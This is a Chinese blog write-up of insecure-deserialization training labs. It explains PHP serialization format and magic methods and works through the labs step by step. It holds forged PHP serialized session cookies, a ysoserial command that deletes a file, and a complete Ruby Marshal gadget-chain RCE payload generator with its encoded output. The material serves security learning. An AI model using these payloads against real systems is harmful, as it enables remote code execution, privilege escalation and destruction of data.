前言
想要搞懂反序列化,必须要看懂序列化之后的内容才能进行修改
PHP 对不同类型的数据用不同的字母进行标示,Yahoo 开发网站提供的Using Serialized PHP with Yahoo! Web Services 一文中给出所有的字母标示及其含义:
a - array
b - boolean
true>>>b:1;
false>>>b:0;
d - double
i - integer
整形
o - common object
r - reference
s - string
字符串‘benben’ s:长度:“benben”
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
N 表示的是 NULL,而 b、d、i、s 表示的是四种标量类型,目前其它语言所实现的 PHP 序列化程序基本上都实现了对这些类型的序列化和反序列化,不过有一些实现中对 s (字符串)的实现存在问题。
a、O 属于最常用的复合类型,大部分其他语言的实现都很好的实现了对 a 的序列化和反序列化,但对 O 只实现了 PHP4 中对象序列化格式,而没有提供对 PHP 5 中扩展的对象序列化格式的支持。
r、R 分别表示对象引用和指针引用,这两个也比较有用,在序列化比较复杂的数组和对象时就会产生带有这两个标示的数据,后面我们将详细讲解这两个标示,目前这两个标示尚没有发现有其他语言的实现。
C 是 PHP5 中引入的,它表示自定义的对象序列化方式,尽管这对于其它语言来说是没有必要实现的,因为很少会用到它,但是后面还是会对它进行详细讲解的。
U 是 PHP6 中才引入的,它表示 Unicode 编码的字符串。因为 PHP6 中提供了 Unicode 方式保存字符串的能力,因此它提供了这种序列化字符串的格式,不过这个类型 PHP5、PHP4 都不支持,而这两个版本目前是主流,因此在其它语言实现该类型时,不推荐用它来进行序列化,不过可以实现它的反序列化过程。在后面我也会对它的格式进行说 明。
最后还有一个 o,这也是我唯一还没弄清楚的一个数据类型标示。这个标示在 PHP3 中被引入用来序列化对象,但是到了 PHP4 以后就被 O 取代了。在 PHP3 的源代码中可以看到对 o 的序列化和反序列化与数组 a 基本上是一样的。但是在 PHP4、PHP5 和 PHP6 的源代码中序列化部分里都找不到它的影子,但是在这几个版本的反序列化程序源代码中却都有对它的处理,不过把它处理成什么我还没弄清楚。因此对它暂时不再 作更多说明了。
原文链接:https://blog.csdn.net/lhx1026/article/details/83464198
一、实验室:修改序列化对象
这里考察基本的反序列化知识,要求我们删除用户carlos,首先我们在登录界面抓包
这里选中cookie发现在右侧的inspector界面对cookie的值进行了解码,发现是进行了URL编码和base64编码,解码之后明显看到代码进行了序列化编码,这里要用到反序列化的一些基础知识,我们观察这段代码
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:0;}
序列化对于不同类型得到的字符串格式为:
- String : s:size:value;
- Integer : i:value;
- Boolean : b:value;(保存1或0)
- Null : N;
- Array : a:size:{key definition;value definition;(repeated per element)}
- Object : O:strlen(object name):object name:object size:{s:strlen(property name):property name:property definition;(repeated per property)}
从上面的例子中我们可以看出序列化对象的时候,只会保存属性值。
这里可以看出在验证是否为admin时使用的是布尔变量,其中0是否1为是,我们这里要伪造我们是admin的信息,所以将request发送到repeater当中,将0改为一,发现我们就出现了管理用户的界面
接下来对我们的请求进行修改
这里同样需要将0改为1以获得权限,对账户carlos进行删除,发送之后刷新界面
本实验问题成功解决
二、实验室:修改序列化数据类型
这里跟上面的方法一样只是需要我们有更加完善的序列化知识,先看解题步骤
这里还是在登录界面抓包,发现跟第一个实验室一样也是这样编码,之后我们还是更改cookie为
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
也不要忘了改第一行的id,这样就可以以administrastor的身份登录
接着更改请求形式如上图所示,即可完成实验,删除用户carlos
接下来我们学习讨论为什么可以这样更改,在刚抓包的时候可以看到序列化内容为
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"vnxixse4s203kux3k4cdwikf0zffzldr";}
更改后的序列化内容为
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}
这里首先第一个改动就是6变成了13,因为在这里的数字代表长度,id变为13个字母数量也自然会发生变化,接下来用到了PHP中的 == 弱比较
- 将访问令牌更改为整数0。由于这不再是一个字符串,您还需要删除围绕该值的双引号。
- 更新更换令牌访问的数据类型的标签s用i。
- 这样修改的目的是断定token的字符串开头不是以数字开头的,这样 0=="dhufashfosf" 返回的都是ture,如果不是,再做修改即可
三、实验室:使用应用程序功能利用不安全的反序列化
这里进入实验室登录weiner账号之后,发现账号有删除功能,而删除carlos是我们的目标,这里我们由于有备用账号,可以先观察删除过程,当我们删除wiener账号后,用bp抓包,还是发现cookie是由url和base64编码的序列化编码,而且去区别只在于他的删除路径
当然很有可能他的access_token也可能是唯一的这里我们删除第二个备用账户进行验证,在删除备用账号的时候进行抓包·,发现果然是access_token和删除路径发生了变化,这里我们由题目中知道了账户carlos的存储路径,就可以对序列化信息进行修改
编辑序列化数据使avatar_link指向/home/carlos/morale.txt
修改后的属性应如下所示:
s:11:"avatar_link";s:23:"/home/carlos/morale.txt"
由此更改,就完成了本次实验
四、实验室:PHP 中的任意对象注入
4.1 常见的魔术方法
在学习这个实验室之前,我们应该了解一些基本的常见魔术方法
__sleep
在使用 serialize() 函数时,程序会检查类中是否存在一个 __sleep() 魔术方法。如果存在,则该方法会先被调用,然后再执行序列化操作。
__wakeup
在使用 unserialize() 时,会检查是否存在一个 __wakeup() 魔术方法。如果存在,则该方法会先被调用,预先准备对象需要的资源
__toString
__toString() 方法用于定义一个类被当成字符串时该如何处理。
__invoke
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。(本特性只在 PHP 5.3.0 及以上版本有效。
__construct
具有 __construct 函数的类会在每次创建新对象时先调用此方法,适合在使用对象之前做一些初始化工作。
__destruct
__destruct 函数会在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
__set
给不可访问属性赋值时,__set() 会被调用。
__get
读取不可访问属性的值时,__get() 会被调用。
__isset
对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
__unset
对不可访问属性调用 unset() 时,__unset() 会被调用。
__call
在对象中调用一个不可访问方法时,__call() 会被调用。
__callStatic
在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用
转载自PHP反序列化入门之常见魔术方法 | Mochazz's blog
4.2 实验
本次实验跟之前的三个就有很大的不同,初步使用到了魔术方法,我们都知道,这个靶场网页都是由php写的,所以控制网页的不同功能也应由php代码写成,基于这一点,本实验室才会有思路,这里我们登录自己的账号,然后分析抓到的包,在一个响应中我们看到调用了php文件
这里我们采用target中的site map的功能,找到这个引用的文件
之后利用burp的机制在 Burp Repeater 中,请注意您可以通过在请求行的文件后加波浪号~来读代码
这里我们注意到了魔术方法__construc和 __destruct(),而由之前的知识我们知道,前者主要是创建新对象初始化用的,而后者是将某个对象销毁的时候用的,明显后者更重要,这里我们观察代码
function __destruct() {
// Carlos thought this would be a good idea
if (file_exists($this->lock_file_path)) {
unlink($this->lock_file_path);
}
}
__destruct()魔法方法。这将调用属性unlink()上的方法lock_file_path,这将删除此路径的文件
在 Burp Decoder 中,使用序列化 PHP 数据的正确语法来创建属性设置为lock_file_path/home/carlos/morale.txt的CustomTemplate对象。确保使用正确的数据类型标签和长度指示符。最终对象应如下所示:O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}
-
向 Burp Repeater 发送一个包含会话 cookie 的请求。
-
在 Burp Repeater 中,将会话 cookie 替换为剪贴板中修改后的 cookie。
-
发送请求。该__destruct()魔术方法自动调用并会删除卡洛斯的文件
至此实验成功
本实验室大多转载自Lab: Arbitrary object injection in PHP:PHP中任意对象的注入(反序列化漏洞)-CSDN博客
五、实验室:利用 Apache Commons 的 Java 反序列化
这个实验其实对windos用户我感觉是相当的不友好,在探索阶段基本是没有什么可以参照的例子,这里我们正式开始,首先就是观察题目上的信息
本实验使用基于序列化的会话机制并加载 Apache Commons Collections 库
这里我一头雾水,观察提示
若要解决该实验,请使用第三方工具生成包含远程代码执行有效负载的恶意序列化对象。然后,将此对象传递到网站以从 Carlos 的主目录中删除该文件
下载“ysoserial”工具并执行以下命令。这将生成一个 Base64 编码的序列化对象,其中包含您的有效负载
这里听人劝吃饱饭,我们下载这个工具,这里我还是建议大家用虚拟机上的kali下载,网上有详细的教程,在windos端下载完拖进去,打开就行,但是有可能jdk版本比较高,换高版本的命令反正我没有成功,又在网上找教程把kali的jdk版本调低了,才能正常运行,这里讲解一下ysoserial这个工具,他会根据你提供的版本信息和你的恶意语句构造一个payload,基本语法如下
java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64
这里前面是打开运行软件而这个CommonsCollections4就是版本信息了,我们是如何知道是这个版本的呢,题目中给出了加载 Apache Commons Collections 库,但是为什么是4呢,这里我们先看看打开ysoserial的样子
里面提供了很多的版本信息,使用java -jar ysoserial-all(你程序的名字).jar运行就可以看到,光这个 Commons Collections 库就有七个,目前网上给出的办法是一个一个试,这里使用第四个是刚刚好能完成这个实验,其实在我看来这更像是哪些cve漏洞,构造出的这些代码是审计出来用复杂的语法构建,所以不用在意内容是什么,了解原理就行,之后我们输入
java -jar ysoserial-all.jar CommonsCollections4 'rm /home/carlos/morale.txt' | base64
就构造成功了一个删除用户carlos的payload
这里回到实验室,我们登录自己的账号进行抓包
这里言归正传,为什么我们要使用ysoserial呢,因为看到cookie的内容是以ro0开头的,说明包含一个序列化的 Java 对象,接下来结合题目中库的信息和java对象,我们使用软件构造payload
构造完成后复制到burp的编码界面进行url编码
接下来把编码后的内容放进cookie里
发送之后就可以成功完成实验了
六、实验室:使用预构建的小工具链利用 PHP 反序列化
讲实话,我是觉得靶场有问题,我过不了这个靶场,给大家分享一下我的过程
先抓包,观察cookie,url解码之后是
token后跟一段base64加密的代码和验证码sig_hmac_sha1
再解码其中的base64
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"m6n1iq82pwybgp89n38etda32snm4kio";}
这样对cookie的结构有所了解,这里只变上面这段编码发现通不过,因为access_token是一一对应的,这时发现在site map当中发现有phpinfo.php,在burp中发送可以得到用access_token
接下来构造payload
再根据之前掌握的序列化格式写出php代码
这里构造出cookie后按理来讲就会成功删除carlos
、
这里仔细检测也不知为什么没有成功
七、实验:使用记录在案的小工具链利用 Ruby 反序列化
首先观察题目
本实验使用基于序列化的会话机制和 Ruby on Rails 框架。有一个记录的漏洞利用可以通过此框架中的小工具链实现远程代码执行。
要解决实验室问题,请查找记录的漏洞利用并对其进行调整以创建包含远程代码执行有效负载的恶意序列化对象。然后,将此对象传递到网站以morale.txt从 Carlos 的主目录中删除该文件。
- 登录到您自己的帐户并注意会话 cookie 包含一个序列化("marshaled")Ruby 对象。将包含此会话 cookie 的请求发送到 Burp Repeater。
- 浏览网络以找到 Luke Jahnke 的“Ruby 2.x Universal RCE Gadget Chain”
Ruby 2.x gadget chain反序列化 RCE - 先知社区 (aliyun.com)
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
复制用于生成有效负载的脚本,并将应执行的命令(在stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")中的id)从id更改为rm /home/carlos/morale.txt
并运行脚本。这将生成一个包含有效负载的序列化对象。输出包含对象的十六进制和 Base64 编码版本。
#!/usr/bin/env ruby
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|rm /home/carlos/morale.txt 1>&2")
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
ruby在线运行,在线工具,在线编译IDE_w3cschool
Payload (hex): 0408553a1547656d3a3a526571756972656d656e745b066f3a1847656d3a3a446570656e64656e63794c697374073a0b4073706563735b076f3a1e47656d3a3a536f757263653a3a537065636966696346696c65063a0a40737065636f3a1b47656d3a3a5374756253706563696669636174696f6e083a11406c6f616465645f66726f6d4922257c726d202f686f6d652f6361726c6f732f6d6f72616c652e74787420313e2632063a0645543a0a4064617461303b09306f3b08003a1140646576656c6f706d656e7446 Payload (Base64 encoded): BAhVOhVHZW06OlJlcXVpcmVtZW50WwZvOhhHZW06OkRlcGVuZGVuY3lMaXN0 BzoLQHNwZWNzWwdvOh5HZW06OlNvdXJjZTo6U3BlY2lmaWNGaWxlBjoKQHNw ZWNvOhtHZW06OlN0dWJTcGVjaWZpY2F0aW9uCDoRQGxvYWRlZF9mcm9tSSIl fHJtIC9ob21lL2Nhcmxvcy9tb3JhbGUudHh0IDE+JjIGOgZFVDoKQGRhdGEw OwkwbzsIADoRQGRldmVsb3BtZW50Rg==
- 复制 Base64 编码的对象。
- 对对象进行 URL 编码,然后在 Burp Repeater 中,将您的会话 cookie 替换为您刚刚创建的恶意 cookie。
%42%41%68%56%4f%68%56%48%5a%57%30%36%4f%6c%4a%6c%63%58%56%70%63%6d%56%74%5a%57%35%30%57%77%5a%76%4f%68%68%48%5a%57%30%36%4f%6b%52%6c%63%47%56%75%5a%47%56%75%59%33%6c%4d%61%58%4e%30%0a%42%7a%6f%4c%51%48%4e%77%5a%57%4e%7a%57%77%64%76%4f%68%35%48%5a%57%30%36%4f%6c%4e%76%64%58%4a%6a%5a%54%6f%36%55%33%42%6c%59%32%6c%6d%61%57%4e%47%61%57%78%6c%42%6a%6f%4b%51%48%4e%77%0a%5a%57%4e%76%4f%68%74%48%5a%57%30%36%4f%6c%4e%30%64%57%4a%54%63%47%56%6a%61%57%5a%70%59%32%46%30%61%57%39%75%42%6a%6f%52%51%47%78%76%59%57%52%6c%5a%46%39%6d%63%6d%39%74%53%53%49%6c%0a%66%48%4a%74%49%43%39%6f%62%32%31%6c%4c%32%4e%68%63%6d%78%76%63%79%39%74%62%33%4a%68%62%47%55%75%64%48%68%30%49%44%45%2b%4a%6a%49%47%4f%67%5a%46%56%47%38%37%43%41%41%36%45%55%42%6b%0a%5a%58%5a%6c%62%47%39%77%62%57%56%75%64%45%59%3d
代替cookie即可
还是不行,就是报系统错误,不知到怎么办
这里后来我观察了国外的视频,这两个发现是代码不一样,别的步骤倒是没有什么问题
下面三个就涉及到通过审计进行自己构造了,这里暂不作考虑